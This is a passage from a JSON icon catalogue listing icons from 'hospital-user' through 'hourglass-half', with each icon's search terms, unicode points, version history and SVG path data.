.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2v0H456h8v0H568c39.8 0 72-32.2 72-72V152c0-39.8-32.2-72-72-72H480V72c0-39.8-32.2-72-72-72H232zM480 128h88c13.3 0 24 10.7 24 24v40H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56v48H536c-13.3 0-24 10.7-24 24s10.7 24 24 24h56V440c0 13.3-10.7 24-24 24H480V336 128zM72 128h88V464h-.1-.2-.2-.2H159h-.2-.2-.2H158h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H154h-.2-.2-.2H153h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H150h-.2-.2-.2H149h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H146h-.2-.2-.2H145h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H142h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H139h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H136h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H133h-.2-.2-.2-.2-.2-.2-.2-.2H131h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H128h-.2-.2-.2-.2-.2-.2-.2-.2H126h-.2-.2-.2-.2-.2-.2-.2-.2H124h-.2-.2-.2-.2-.2-.2-.2-.2H122h-.2-.2-.2-.2-.2-.2-.2-.2H120h-.2-.2-.2-.2-.2-.2-.2-.2H118h-.2-.2-.2-.2-.2-.2-.2-.2H116h-.2-.2-.2-.2-.2-.2-.2-.2H114h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H111h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H108h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H105h-.2-.2-.2-.2H104h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H100h-.2-.2-.2-.2H99h-.2-.2-.2-.2H98h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H88h-.2-.2-.2-.2H87h-.2-.2-.2-.2H86h-.2-.2-.2-.2H85h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H82h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H79h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H77h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H75h-.2-.2-.2-.2-.2-.2-.2-.2-.2-.2H73h-.2-.2-.2-.2-.2H72c-13.2 0-24-10.7-24-24V336h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V240h56c13.3 0 24-10.7 24-24s-10.7-24-24-24H48V152c0-13.3 10.7-24 24-24zM208 72c0-13.3 10.7-24 24-24H408c13.3 0 24 10.7 24 24V336 464H368V400c0-26.5-21.5-48-48-48s-48 21.5-48 48v64H208V72zm88 24v24H272c-8.8 0-16 7.2-16 16v16c0 8.8 7.2 16 16 16h24v24c0 8.8 7.2 16 16 16h16c8.8 0 16-7.2 16-16V168h24c8.8 0 16-7.2 16-16V136c0-8.8-7.2-16-16-16H344V96c0-8.8-7.2-16-16-16H312c-8.8 0-16 7.2-16 16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hospital-user": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f80d"]
      }
    },
    "changes": [
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["covid-19", "doctor", "network", "patient", "primary care"]
    },
    "styles": ["solid"],
    "unicode": "f80d",
    "label": "Hospital User",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M48 0C21.5 0 0 21.5 0 48V256H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v64H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v80c0 26.5 21.5 48 48 48H265.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM152 64h16c8.8 0 16 7.2 16 16v24h24c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H184v24c0 8.8-7.2 16-16 16H152c-8.8 0-16-7.2-16-16V152H112c-8.8 0-16-7.2-16-16V120c0-8.8 7.2-16 16-16h24V80c0-8.8 7.2-16 16-16zM512 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM288 477.1c0 19.3 15.6 34.9 34.9 34.9H541.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H381.1c-51.4 0-93.1 41.7-93.1 93.1z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M48 0C21.5 0 0 21.5 0 48V256H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v64H144c8.8 0 16 7.2 16 16s-7.2 16-16 16H0v80c0 26.5 21.5 48 48 48H265.9c-6.3-10.2-9.9-22.2-9.9-35.1c0-46.9 25.8-87.8 64-109.2V271.8 48c0-26.5-21.5-48-48-48H48zM152 64h16c8.8 0 16 7.2 16 16v24h24c8.8 0 16 7.2 16 16v16c0 8.8-7.2 16-16 16H184v24c0 8.8-7.2 16-16 16H152c-8.8 0-16-7.2-16-16V152H112c-8.8 0-16-7.2-16-16V120c0-8.8 7.2-16 16-16h24V80c0-8.8 7.2-16 16-16zM512 272a80 80 0 1 0 -160 0 80 80 0 1 0 160 0zM288 477.1c0 19.3 15.6 34.9 34.9 34.9H541.1c19.3 0 34.9-15.6 34.9-34.9c0-51.4-41.7-93.1-93.1-93.1H381.1c-51.4 0-93.1 41.7-93.1 93.1z"
      }
    },
    "free": ["solid"]
  },
  "hot-tub-person": {
    "aliases": {
      "names": ["hot-tub"],
      "unicodes": {
        "secondary": ["10f593"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["jacuzzi", "spa"]
    },
    "styles": ["solid"],
    "unicode": "f593",
    "label": "Hot Tub Person",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767621,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M272 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L295.8 82.8C280.7 69.1 272 49.7 272 29.2V24zM0 320v16V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H277.3c-13.8 0-27.3-4.5-38.4-12.8l-85.3-64C137 166.7 116.8 160 96 160c-53 0-96 43-96 96v64zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm112 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM360 0c-13.3 0-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L407.8 82.8C392.7 69.1 384 49.7 384 29.2V24c0-13.3-10.7-24-24-24zM64 128A64 64 0 1 0 64 0a64 64 0 1 0 0 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M272 24c0-13.3-10.7-24-24-24s-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L295.8 82.8C280.7 69.1 272 49.7 272 29.2V24zM0 320v16V448c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V320c0-35.3-28.7-64-64-64H277.3c-13.8 0-27.3-4.5-38.4-12.8l-85.3-64C137 166.7 116.8 160 96 160c-53 0-96 43-96 96v64zm128 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zm112 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16s16 7.2 16 16zm80-16c8.8 0 16 7.2 16 16v96c0 8.8-7.2 16-16 16s-16-7.2-16-16V336c0-8.8 7.2-16 16-16zM360 0c-13.3 0-24 10.7-24 24v5.2c0 34 14.4 66.4 39.7 89.2l16.4 14.8c15.2 13.7 23.8 33.1 23.8 53.5V200c0 13.3 10.7 24 24 24s24-10.7 24-24V186.8c0-34-14.4-66.4-39.7-89.2L407.8 82.8C392.7 69.1 384 49.7 384 29.2V24c0-13.3-10.7-24-24-24zM64 128A64 64 0 1 0 64 0a64 64 0 1 0 0 128z"
      }
    },
    "free": ["solid"]
  },
  "hotdog": {
    "aliases": {
      "unicodes": {
        "composite": ["1f32d"],
        "secondary": ["10f80f"]
      }
    },
    "changes": ["5.7.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "bun",
        "chili",
        "frankfurt",
        "frankfurter",
        "hot dog",
        "hotdog",
        "kosher",
        "polish",
        "sandwich",
        "sausage",
        "vienna",
        "weiner"
      ]
    },
    "styles": ["solid"],
    "unicode": "f80f",
    "label": "Hotdog",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767419,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M488.6 23.4c31.2 31.2 31.2 81.9 0 113.1l-352 352c-31.2 31.2-81.9 31.2-113.1 0s-31.2-81.9 0-113.1l352-352c31.2-31.2 81.9-31.2 113.1 0zM443.3 92.7c-6.2-6.2-16.4-6.2-22.6 0c-12.5 12.5-23.8 15.1-37.5 17.6l-2.5 .4c-13.8 2.5-31.6 5.6-48 22c-16.7 16.7-20.9 36-24.1 50.9l0 0v0l-.2 1c-3.4 15.6-6 26.4-15.7 36.1s-20.5 12.3-36.1 15.7l-1 .2c-14.9 3.2-34.2 7.4-50.9 24.1s-20.9 36-24.1 50.9l-.2 1c-3.4 15.6-6 26.4-15.7 36.1c-9.2 9.2-18 10.8-32.7 13.4l0 0-.9 .2c-15.6 2.8-34.9 6.9-54.4 26.4c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0c12.5-12.5 23.8-15.1 37.5-17.6l2.5-.4c13.8-2.5 31.6-5.6 48-22c16.7-16.7 20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1s20.5-12.3 36.1-15.7l1-.2c14.9-3.2 34.2-7.4 50.9-24.1s20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1c9.2-9.2 18-10.8 32.7-13.4l.9-.2c15.6-2.8 34.9-6.9 54.4-26.4c6.2-6.2 6.2-16.4 0-22.6zM191.2 479.2l288-288L495 207c10.9 10.9 17 25.6 17 41s-6.1 30.1-17 41L289 495c-10.9 10.9-25.6 17-41 17s-30.1-6.1-41-17l-15.8-15.8zM17 305C6.1 294.1 0 279.4 0 264s6.1-30.1 17-41L223 17C233.9 6.1 248.6 0 264 0s30.1 6.1 41 17l15.8 15.8-288 288L17 305z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M488.6 23.4c31.2 31.2 31.2 81.9 0 113.1l-352 352c-31.2 31.2-81.9 31.2-113.1 0s-31.2-81.9 0-113.1l352-352c31.2-31.2 81.9-31.2 113.1 0zM443.3 92.7c-6.2-6.2-16.4-6.2-22.6 0c-12.5 12.5-23.8 15.1-37.5 17.6l-2.5 .4c-13.8 2.5-31.6 5.6-48 22c-16.7 16.7-20.9 36-24.1 50.9l0 0v0l-.2 1c-3.4 15.6-6 26.4-15.7 36.1s-20.5 12.3-36.1 15.7l-1 .2c-14.9 3.2-34.2 7.4-50.9 24.1s-20.9 36-24.1 50.9l-.2 1c-3.4 15.6-6 26.4-15.7 36.1c-9.2 9.2-18 10.8-32.7 13.4l0 0-.9 .2c-15.6 2.8-34.9 6.9-54.4 26.4c-6.2 6.2-6.2 16.4 0 22.6s16.4 6.2 22.6 0c12.5-12.5 23.8-15.1 37.5-17.6l2.5-.4c13.8-2.5 31.6-5.6 48-22c16.7-16.7 20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1s20.5-12.3 36.1-15.7l1-.2c14.9-3.2 34.2-7.4 50.9-24.1s20.9-36 24.1-50.9l.2-1c3.4-15.6 6-26.4 15.7-36.1c9.2-9.2 18-10.8 32.7-13.4l.9-.2c15.6-2.8 34.9-6.9 54.4-26.4c6.2-6.2 6.2-16.4 0-22.6zM191.2 479.2l288-288L495 207c10.9 10.9 17 25.6 17 41s-6.1 30.1-17 41L289 495c-10.9 10.9-25.6 17-41 17s-30.1-6.1-41-17l-15.8-15.8zM17 305C6.1 294.1 0 279.4 0 264s6.1-30.1 17-41L223 17C233.9 6.1 248.6 0 264 0s30.1 6.1 41 17l15.8 15.8-288 288L17 305z"
      }
    },
    "free": ["solid"]
  },
  "hotel": {
    "aliases": {
      "unicodes": {
        "composite": ["1f3e8"],
        "secondary": ["10f594"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "building",
        "hotel",
        "inn",
        "lodging",
        "motel",
        "resort",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f594",
    "label": "Hotel",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64C14.3 64 0 49.7 0 32zm96 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zM240 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H240zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zM112 192c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H112zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H368zM328 384c13.3 0 24.3-10.9 21-23.8c-10.6-41.5-48.2-72.2-93-72.2s-82.5 30.7-93 72.2c-3.3 12.8 7.8 23.8 21 23.8H328z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H480c17.7 0 32 14.3 32 32s-14.3 32-32 32V448c17.7 0 32 14.3 32 32s-14.3 32-32 32H304V464c0-26.5-21.5-48-48-48s-48 21.5-48 48v48H32c-17.7 0-32-14.3-32-32s14.3-32 32-32V64C14.3 64 0 49.7 0 32zm96 80v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H112c-8.8 0-16 7.2-16 16zM240 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H240zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zM112 192c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H112zm112 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H240c-8.8 0-16 7.2-16 16zm144-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V208c0-8.8-7.2-16-16-16H368zM328 384c13.3 0 24.3-10.9 21-23.8c-10.6-41.5-48.2-72.2-93-72.2s-82.5 30.7-93 72.2c-3.3 12.8 7.8 23.8 21 23.8H328z"
      }
    },
    "free": ["solid"]
  },
  "hotjar": {
    "changes": ["5.0.0", "6.4.1"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f3b1",
    "label": "Hotjar",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1688044785,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M361.5 0c0 131.6-80.7 176.8-140.2 209.4c-.6 .3-1.1 .6-1.6 .9c-53.8 30.2-88.7 49.8-89.6 122H32C32 200.8 112.7 155.6 172.2 123C227 93.2 262.5 73 262.5 0h98.9zM301 302.6c54.8-29.8 90.3-50 90.3-123h98c0 131.6-80.7 176.7-140.2 209.4c-54.8 29.8-90.3 50-90.3 123h-98c0-131.6 80.7-176.8 140.2-209.4z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M361.5 0c0 131.6-80.7 176.8-140.2 209.4c-.6 .3-1.1 .6-1.6 .9c-53.8 30.2-88.7 49.8-89.6 122H32C32 200.8 112.7 155.6 172.2 123C227 93.2 262.5 73 262.5 0h98.9zM301 302.6c54.8-29.8 90.3-50 90.3-123h98c0 131.6-80.7 176.7-140.2 209.4c-54.8 29.8-90.3 50-90.3 123h-98c0-131.6 80.7-176.8 140.2-209.4z"
      }
    },
    "free": ["brands"]
  },
  "hourglass": {
    "aliases": {
      "names": ["hourglass-empty"],
      "unicodes": {
        "composite": ["23f3", "f250"],
        "secondary": ["10f254"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hour",
        "hourglass",
        "hourglass not done",
        "minute",
        "sand",
        "stopwatch",
        "time",
        "timer"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f254",
    "label": "Hourglass",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H64 320h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V75c0 42.4-16.9 83.1-46.9 113.1L237.3 256l67.9 67.9c30 30 46.9 70.7 46.9 113.1v11c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V437c0-42.4 16.9-83.1 46.9-113.1L146.7 256 78.9 188.1C48.9 158.1 32 117.4 32 75V64C14.3 64 0 49.7 0 32zM96 64V75c0 25.5 10.1 49.9 28.1 67.9L192 210.7l67.9-67.9c18-18 28.1-42.4 28.1-67.9V64H96zm0 384H288V437c0-25.5-10.1-49.9-28.1-67.9L192 301.3l-67.9 67.9c-18 18-28.1 42.4-28.1 67.9v11z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H64 320h32c17.7 0 32 14.3 32 32s-14.3 32-32 32V75c0 42.4-16.9 83.1-46.9 113.1L237.3 256l67.9 67.9c30 30 46.9 70.7 46.9 113.1v11c17.7 0 32 14.3 32 32s-14.3 32-32 32H320 64 32c-17.7 0-32-14.3-32-32s14.3-32 32-32V437c0-42.4 16.9-83.1 46.9-113.1L146.7 256 78.9 188.1C48.9 158.1 32 117.4 32 75V64C14.3 64 0 49.7 0 32zM96 64V75c0 25.5 10.1 49.9 28.1 67.9L192 210.7l67.9-67.9c18-18 28.1-42.4 28.1-67.9V64H96zm0 384H288V437c0-25.5-10.1-49.9-28.1-67.9L192 301.3l-67.9 67.9c-18 18-28.1 42.4-28.1 67.9v11z"
      },
      "regular": {
        "last_modified": 1684767327,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V67c0 40.3 16 79 44.5 107.5L158.1 256 76.5 337.5C48 366 32 404.7 32 445v19H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8V445c0-40.3-16-79-44.5-107.5L225.9 256l81.5-81.5C336 146 352 107.3 352 67V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM192 289.9l81.5 81.5C293 391 304 417.4 304 445v19H80V445c0-27.6 11-54 30.5-73.5L192 289.9zm0-67.9l-81.5-81.5C91 121 80 94.6 80 67V48H304V67c0 27.6-11 54-30.5 73.5L192 222.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M24 0C10.7 0 0 10.7 0 24S10.7 48 24 48h8V67c0 40.3 16 79 44.5 107.5L158.1 256 76.5 337.5C48 366 32 404.7 32 445v19H24c-13.3 0-24 10.7-24 24s10.7 24 24 24H360c13.3 0 24-10.7 24-24s-10.7-24-24-24h-8V445c0-40.3-16-79-44.5-107.5L225.9 256l81.5-81.5C336 146 352 107.3 352 67V48h8c13.3 0 24-10.7 24-24s-10.7-24-24-24H24zM192 289.9l81.5 81.5C293 391 304 417.4 304 445v19H80V445c0-27.6 11-54 30.5-73.5L192 289.9zm0-67.9l-81.5-81.5C91 121 80 94.6 80 67V48H304V67c0 27.6-11 54-30.5 73.5L192 222.1z"
      }
    },
    "free": ["regular", "solid"]
  },
  "hourglass-end": {
    "aliases": {
      "names": ["hourglass-3"],
      "unicodes": {
        "composite": ["231b"],
        "secondary": ["10f253"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "hour",
        "hourglass done",
        "minute",
        "sand",
        "stopwatch",
        "time",
        "timer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f253",
    "label": "Hourglass End",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 25.5-10.1 49.9-28.1 67.9L192 210.7l-67.9-67.9C106.1 124.9 96 100.4 96 75z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 25.5-10.1 49.9-28.1 67.9L192 210.7l-67.9-67.9C106.1 124.9 96 100.4 96 75z"
      }
    },
    "free": ["solid"]
  },
  "hourglass-half": {
    "aliases": {
      "names": ["hourglass-2"],
      "unicodes": {
        "secondary": ["10f252"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.10.1",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.0.0-beta3",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["hour", "minute", "sand", "stopwatch", "time"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f252",
    "label": "Hourglass Half",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 19-5.6 37.4-16 53H112c-10.3-15.6-16-34-16-53zm16 309c3.5-5.3 7.6-10.3 12.1-14.9L192 301.3l67.9 67.9c4.6 4.6 8.6 9.6 12.1 14.9H112z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 0C14.3 0 0 14.3 0 32S14.3 64 32 64V75c0 42.4 16.9 83.1 46.9 113.1L146.7 256 78.9 323.9C48.9 353.9 32 394.6 32 437v11c-17.7 0-32 14.3-32 32s14.3 32 32 32H64 320h32c17.7 0 32-14.3 32-32s-14.3-32-32-32V437c0-42.4-16.9-83.1-46.9-113.1L237.3 256l67.9-67.9c30-30 46.9-70.7 46.9-113.1V64c17.7 0 32-14.3 32-32s-14.3-32-32-32H320 64 32zM96 75V64H288V75c0 19-5.6 37.4-16 53H112c-10.3-15.6-16-34-16-53zm16 309c3.5-5.3 7.6-10.3 12.1-14.9L192 301.3l67.9 67.9c4.6 4.6 8.6 9.6 12.1 14.9H112z"
      },
      "regular": {
        "last_modified": 1684767328,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M0 24C0 10.7 10.7 0 24 0H360c13.3 0 24 10.7 24 24s-10.7 24-24 24h-8V67c0 40.3-16 79-44.5 107.5L225.9 256l81.5 81.5C336 366 352 404.7 352 445v19h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H24c-13.3 0-24-10.7-24-24s10.7-24 24-24h8V445c0-40.3 16-79 44.5-107.5L158.1 256 76.5 174.5C48 146 32 107.3 32 67V48H24C10.7 48 0 37.3 0 24zM110.5 371.5c-3.9 3.9-7.5 8.1-10.7 12.5H284.2c-3.2-4.4-6.8-8.6-10.7-12.5L192 289.9l-81.5 81.5zM284.2 128C297 110.4 304 89 304 67V48H80V67c0 22.1 7 43.4 19.8 61H284.2z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
